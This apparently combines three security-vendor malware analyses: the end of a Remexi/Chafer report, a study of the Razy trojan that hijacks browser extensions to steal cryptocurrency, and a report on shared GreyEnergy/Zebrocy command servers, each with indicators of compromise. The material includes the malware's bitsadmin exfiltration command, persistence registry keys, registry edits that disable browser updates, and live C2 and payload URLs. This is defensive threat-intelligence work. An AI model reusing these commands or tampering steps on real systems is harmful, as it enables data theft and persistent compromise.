-scr Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)
-ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Specifies the screen coordinates to take
-zip Name of password (from configuration data) protected zip archive
-clipboard Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration

Data exfiltration

Exfiltration is done through the bitsadmin.exe utility. The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2:

bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal "<control_server>/YP01_<victim_fingerprint>_<log_file_name>" "<log_file_name>"

Victims

The vast majority of the users targeted by this new variant of Remexi appear to have Iranian IP addresses. Some of these appear to be foreign diplomatic entities based in the country.

Attribution

The Remexi malware has been associated with an APT actor called Chafer by Symantec.

One of the human-readable encryption keys used is “salamati”. This is probably the Latin spelling for the word “health” in Farsi. Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name “Mohamadreza New”. Interestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a false flag.

Conclusions

Activity of the Chafer APT group has been observed since at least 2015, but based on things like compilation timestamps and C&C registration, it’s possible they have been active for even longer. Traditionally, Chafer has been focusing on targets inside Iran, although their interests clearly include other countries in the Middle East.

We will continue to monitor how this set of activity develops in the future.

Indicators of compromise

File hashes

events.exe
028515d12e9d59d272a2538045d1f636
03055149340b7a1fd218006c98b30482
25469ddaeff0dd3edb0f39bbe1dcdc46
41b2339950d50cf678c0e5b34e68f537
4bf178f778255b6e72a317c2eb8f4103
7d1efce9c06a310627f47e7d70543aaf
9f313e8ef91ac899a27575bc5af64051
aa6246dc04e9089e366cc57a447fc3a4
c981273c32b581de824e1fd66a19a281
dcb0ea3a540205ad11f32b67030c1e5a

splitter.exe
c6721344af76403e9a7d816502dca1c8
d3a2b41b1cd953d254c0fc88071e5027
1FF40E79D673461CD33BD8B68F8BB5B8
ecae141bb068131108c1cd826c82d88b
12477223678e4a41020e66faebd3dd95
460211f1c19f8b213ffaafcdda2a7295
53e035273164f24c200262d61fa374ca

Domains and IPs

108.61.189.174

Hardcoded mutexes

Local\TEMPDAHCE01
Local\zaapr
Local\reezaaprLog
Local\{Temp-00-aa-123-mr-bbb}

Scheduled task

CacheTask_<user_name_here>

Directory with malicious modules

Main malware directory: %APPDATA%\Microsoft\Event Cache
Commands from C2 in subdirectory: Cache001\cde00.acf

Events.exe persistence records in Windows system registry keys

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager

Victims’ fingerprints stored in

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData or
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData

RC4 encrypted C2 commands stored in

HKCU\SOFTWARE\Microsoft\Fax

HTTP requests template

http://<server_ip_from_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>
And bitsadmin.exe task to external network resources, addressed by IP addresses



Securelist

Securelist: Razy in search of cryptocurrency

Last year, we discovered malware that installs a malicious browser extension on its victim’s computer or infects an already installed extension. To do so, it disables the integrity check for installed extensions and automatic updates for the targeted browser. Kaspersky Lab products detect the malicious program as Trojan.Win32.Razy.gen – an executable file that spreads via advertising blocks on websites and is distributed from free file-hosting services under the guise of legitimate software.

Razy serves several purposes, mostly related to the theft of cryptocurrency. Its main tool is the script main.js that is capable of:

  • Searching for addresses of cryptocurrency wallets on websites and replacing them with the threat actor’s wallet addresses
  • Spoofing images of QR codes pointing to wallets
  • Modifying the web pages of cryptocurrency exchanges
  • Spoofing Google and Yandex search results

Infection

The Trojan Razy ‘works’ with Google Chrome, Mozilla Firefox and Yandex Browser, though it has different infection scenarios for each browser type.

Mozilla Firefox

For Firefox, the Trojan installs an extension called ‘Firefox Protection’ with the ID {ab10d63e-3096-4492-ab0e-5edcf4baf988} (folder path: “%APPDATA%\Mozilla\Firefox\Profiles\.default\Extensions\{ab10d63e-3096-4492-ab0e-5edcf4baf988}”).

For the malicious extension to start working, Razy edits the following files:

  • “%APPDATA%\Mozilla\Firefox\Profiles\.default\prefs.js”,
  • “%APPDATA%\Mozilla\Firefox\Profiles\.default\extensions.json”,
  • “%PROGRAMFILES%\Mozilla Firefox\omni.js”.

Yandex Browser

The Trojan edits the file ‘%APPDATA%\Yandex\YandexBrowser\Application\\browser.dll’ to disable extension integrity check. It renames the original file ‘browser.dll_’ and leaves it in the same folder.

To disable browser updates, it creates the registry key ‘HKEY_LOCAL_MACHINE\SOFTWARE\Policies\YandexBrowser\UpdateAllowed” = 0 (REG_DWORD).

Then the extension Yandex Protect is installed to folder ‘%APPDATA%\Yandex\YandexBrowser\User Data\Default\Extensions\acgimceffoceigocablmjdpebeodphgc\6.1.6_0’. The ID acgimceffoceigocablmjdpebeodphgc corresponds to a legitimate extension for Chrome called Cloudy Calculator, version 6.1.6_0. If this extension has already been installed on the user’s device in Yandex Browser, it is replaced with the malicious Yandex Protect.

Google Chrome

Razy edits the file ‘%PROGRAMFILES%\Google\Chrome\Application\\chrome.dll’ to disable the extension integrity check. It renames the original chrome.dll file chrome.dll_ and leaves it in the same folder.

It creates the following registry keys to disable browser updates:

  • “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\AutoUpdateCheckPeriodMinutes” = 0 (REG_DWORD)
  • “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\DisableAutoUpdateChecksCheckboxValue” = 1 (REG_DWORD)
  • “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\InstallDefault” = 0 (REG_DWORD)
  • “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\UpdateDefault” = 0 (REG_DWORD)

We have encountered cases where different Chrome extensions were infected. One extension in particular is worth mentioning: Chrome Media Router is a component of the service with the same name in browsers based on Chromium. It is present on all devices where the Chrome browser is installed, although it is not shown in the list of installed extensions. During the infection, Razy modified the contents of the folder where the Chrome Media Router extension was located: ‘%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm’.

Scripts used

Irrespective of the targeted browser type, Razy added the following scripts it brought along to the folder containing the malicious script: bgs.js, extab.js, firebase-app.js, firebase-messaging.js and firebase-messaging-sw.js. The file manifest.json was created in the same folder or was overwritten to ensure these scripts get called.

Left: list of files of the original Chrome Media Router extension.
Right: list of files of the modified Chrome Media Router extension.

The scripts firebase-app.js, firebase-messaging.js and firebase-messaging-sw.js are legitimate. They belong to the Firebase platform and are used to send statistics to the malicious actor’s Firebase account.

The scripts bgs.js and extab.js are malicious and are obfuscated with the help of the tool obfuscator.io. The former sends statistics to the Firebase account; the latter (extab.js) inserts a call to the script i.js with parameters tag=&did=&v_tag=&k_tag= into each page visited by the user.

In the above example, the script i.js is distributed from the web resource gigafilesnote[.]com (gigafilesnote[.]com/i.js?tag=&did=&v_tag=&k_tag=). In other cases, similar scripts were detected in the domains apiscr[.]com, happybizpromo[.]com and archivepoisk-zone[.]info.

The script i.js modifies the HTML page, inserts advertising banners and video clips, and adds adverts into Google search results.

YouTube page with banners added by the script i.js

The culmination of the infection is main.js – a call to the script is added to each page visited by the user.

Fragment of the script i.js code that inserts the script main.js to web pages.

The script main.js is distributed from the addresses:

  • Nolkbacteria[.]info/js/main.js?_=
  • 2searea0[.]info/js/main.js?_=
  • touristsila1[.]info/js/main.js?_=
  • solkoptions[.]host/js/main.js?_=

The script main.js is not obfuscated and its capabilities can be seen from the function names.

The screenshot above shows the function findAndReplaceWalletAddresses that searches for Bitcoin and Ethereum wallets and replaces them with the addresses of the threat actor’s wallets. Notably, this function works on almost all pages except those located on Google and Yandex domains, as well as on popular domains like instagram.com and ok.ru.

Images of QR codes that point to wallets also get substituted. The substitution occurs when the user visits the web resources gdax.com, pro.coinbase.com, exmo.*, binance.* or when an element with src=’/res/exchangebox/qrcode/’ is detected on the webpage.

As well as the functionality described above, main.js modifies the webpages of the cryptocurrency exchanges EXMO and YoBit. The following script calls are added to the pages’ codes:

  • /js/exmo-futures.js?_= – when exmo.*/ru/* pages are visited
  • /js/yobit-futures.js?_= – when yobit.*/ru/* pages are visited

where is one of the domains nolkbacteria[.]info, 2searea0[.]info, touristsila1[.]info, or archivepoisk-zone[.]info.

These scripts display fake messages to the user about “new features” in the corresponding exchanges and offers to sell cryptocurrency at above market rates. In other words, users are persuaded to transfer their money to the cybercriminal’s wallet under the pretext of a good deal.

Example of a scam message on the EXMO website

Main.js also spoofs Google and Yandex search results. Fake search results are added to pages if the search request search request is connected with cryptocurrencies and cryptocurrency exchanges, or just music downloading or torrents:

  • /(?:^|\s)(gram|телеграм|токен|ton|ico|telegram|btc|биткойн|bitcoin|coinbase|крипта|криптовалюта|,bnrjqy|биржа|бираж)(?:\s|$)/g;
  • /(скачать.*музык|музык.*скачать)/g;
  • /тор?рент/g;

This is how an infected user is enticed to visit infected websites or legitimate cryptocurrency-themed sites where they will see the message described above.

Google search results that were modified by the infected extension

When the user visits Wikipedia, main.js adds a banner containing a request for donations to support the online encyclopedia. The cybercriminals’ wallet addresses are used in place of bank details. The original Wikipedia banner asking for donations (if present) is deleted.

Fake banner on Wikipedia asking for donations

When the user visits the webpage telegram.org, they will see an offer to buy Telegram tokens at an incredibly low price.

The infected extension loads content on the telegram.org site from the phishing web resource ton-ico[.]network

Fake banner shown at telegram.org. The link leads to the phishing website ton-ico[.]network

When users visit the pages of Russian social network Vkontakte (VK), the Trojan adds an advertising banner to it. If a user clicks on the banner, they are redirected to phishing resources (located on the domain ooo-ooo[.]info), where they are prompted to pay a small sum of money now to make a load of money later on.

Fraudulent banner on the vk.com website

Indicators of compromise

Kaspersky Lab’s products detect scripts associated with Razy as HEUR:Trojan.Script.Generic.

Below are all the wallet addresses detected in the analyzed scripts:

  • Bitcoin: ‘1BcJZis6Hu2a7mkcrKxRYxXmz6fMpsAN3L’, ‘1CZVki6tqgu2t4ACk84voVpnGpQZMAVzWq’, ‘3KgyGrCiMRpXTihZWY1yZiXnL46KUBzMEY’, ‘1DgjRqs9SwhyuKe8KSMkE1Jjrs59VZhNyj’, ’35muZpFLAQcxjDFDsMrSVPc8WbTxw3TTMC’, ’34pzTteax2EGvrjw3wNMxaPi6misyaWLeJ’.
  • Ethereum: ’33a7305aE6B77f3810364e89821E9B22e6a22d43′, ‘2571B96E2d75b7EC617Fdd83b9e85370E833b3b1′, ’78f7cb5D4750557656f5220A86Bc4FD2C85Ed9a3’.

At the time of writing, total incoming transactions on all these wallets amounted to approximately 0.14 BTC plus 25 ETH.

MD5

Trojan.Win32.Razy.gen
707CA7A72056E397CA9627948125567A
2C274560900BA355EE9B5D35ABC30EF6
BAC320AC63BD289D601441792108A90C
90A83F3B63007D664E6231AA3BC6BD72
66DA07F84661FCB5E659E746B2D7FCCD
Main.js
2C95C42C455C3F6F3BD4DC0853D4CC00
2C22FED85DDA6907EE8A39DD12A230CF
i.js
387CADA4171E705674B9D9B5BF0A859C
67D6CB79955488B709D277DD0B76E6D3
Extab.js
60CB973675C57BDD6B5C5D46EF372475
Bgs.js
F9EF0D18B04DC9E2F9BA07495AE1189C

Malicious domains

gigafilesnote[.]com
apiscr[.]com,
happybizpromo[.]com,
archivepoisk-zone[.]info,
archivepoisk[.]info,
nolkbacteria[.]info,
2searea0[.]info,
touristsila1[.]info,
touristsworl[.]xyz,
solkoptions[.]host.
solkoptions[.]site
mirnorea11[.]xyz,
miroreal[.]xyz,
anhubnew[.]info,
kidpassave[.]xyz

Phishing domains

ton-ico[.]network,
ooo-ooo[.]info.



Securelist

Securelist: GreyEnergy’s overlap with Zebrocy

In October 2018, ESET published a report describing a set of activity they called GreyEnergy, which is believed to be a successor to BlackEnergy group. BlackEnergy (a.k.a. Sandworm) is best known, among other things, for having been involved in attacks against Ukrainian energy facilities in 2015, which led to power outages. Like its predecessor, GreyEnergy malware has been detected attacking industrial and ICS targets, mainly in Ukraine.

Kaspersky Lab ICS CERT has identified an overlap between GreyEnergy and a Sofacy subset called “Zebrocy”. The Zebrocy activity was named after malware that Sofacy group began to use since mid-November 2015 for the post-exploitation stage of attacks on its victims. Zebrocy’s targets are widely spread across the Middle East, Europe and Asia and the targets’ profiles are mostly government-related.

Both sets of activity used the same servers at the same time and targeted the same organization.

Details

Servers

In our private APT Intel report from July 2018 “Zebrocy implements new VBA anti-sandboxing tricks”, details were provided about different Zebrocy C2 servers, including 193.23.181[.]151.

In the course of our research, the following Zebrocy samples were found to use the same server to download additional components (MD5):

7f20f7fbce9deee893dbce1a1b62827d
170d2721b91482e5cabf3d2fec091151
eae0b8997c82ebd93e999d4ce14dedf5
a5cbf5a131e84cd2c0a11fca5ddaa50a
c9e1b0628ac62e5cb01bf1fa30ac8317

The URL used to download additional data looks as follows:

hxxp://193.23.181[.]151/help-desk/remote-assistant-service/PostId.php?q={hex}

This same C2 server was also used in a spearphishing email attachment sent by GreyEnergy (aka FELIXROOT), as mentioned in a FireEye report. Details on this attachment are as follows:

  • The file (11227eca89cc053fb189fac3ebf27497) with the name “Seminar.rtf” exploited CVE-2017-0199
  • “Seminar.rtf” downloaded a second stage document from: hxxp://193.23.181[.]151/Seminar.rtf (4de5adb865b5198b4f2593ad436fceff, exploiting CVE-2017-11882)
  • The original document (Seminar.rtf) was hosted on the same server and downloaded by victims from: hxxp://193.23.181[.]151/ministerstvo-energetiki/seminars/2019/06/Seminar.rtf

Another server we detected that was used both by Zebrocy and by GreyEnergy is 185.217.0[.]124. Similarly, we detected a spearphishing GreyEnergy document (a541295eca38eaa4fde122468d633083, exploiting CVE-2017-11882), also named “Seminar.rtf”.

“Seminar.rtf”, a GreyEnergy decoy document

This document downloads a GreyEnergy sample (78734cd268e5c9ab4184e1bbe21a6eb9) from the following SMB link:

\\185.217.0[.]124\Doc\Seminar\Seminar_2018_1.AO-A

The following Zebrocy samples use this server as C2:

7f20f7fbce9deee893dbce1a1b62827d
170d2721b91482e5cabf3d2fec091151
3803af6700ff4f712cd698cee262d4ac
e3100228f90692a19f88d9acb620960d

They retrieve additional data from the following URL:

hxxp://185.217.0[.]124/help-desk/remote-assistant-service/PostId.php?q={hex}

It is worth noting that at least two samples from the above list use both 193.23.181[.]151 and 185.217.0[.]124 as C2s.

Hosts associated with GreyEnergy and Zebrocy

Attacked company

Additionally, both GreyEnergy and Zebrocy spearphishing documents targeted a number of industrial companies in Kazakhstan. One of them was attacked in June 2018.

GreyEnergy and Zebrocy overlap

Attack timeframe

A spearphishing document entitled ‘Seminar.rtf’, which retrieved a GreyEnergy sample, was sent to the company approximately on June 21, 2018, followed by a Zebrocy spearphishing document sent approximately on June 28:

‘(28.06.18) Izmeneniya v prikaz PK.doc’ Zebrocy decoy document translation:
‘Changes to order, Republic of Kazakhstan’

The two C2 servers discussed above were actively used by Zebrocy and GreyEnergy almost at the same time:

  • 193.23.181[.]151 was used by GreyEnergy and Zebrocy in June 2018
  • 185.217.0[.]124 was used by GreyEnergy between May and June 2018 and by Zebrocy in June 2018

Conclusions

The GreyEnergy/BlackEnergy actor is an advanced group that possesses extensive knowledge on penetrating into their victim´s networks and exploiting any vulnerabilities it finds. This actor has demonstrated its ability to update its tools and infrastructure in order to avoid detection, tracking, and attribution.

Though no direct evidence exists on the origins of GreyEnergy, the links between a Sofacy subset known as Zebrocy and GreyEnergy suggest that these groups are related, as has been suggested before by some public analysis. In this paper, we detailed how both groups shared the same C2 server infrastructure during a certain period of time and how they both targeted the same organization almost at the same time, which seems to confirm the relationship’s existence.

For more information about APT reports please contact: intelreports@kaspersky.com

For more information about ICS threats please contact: ics-cert@kaspersky.com



Securelist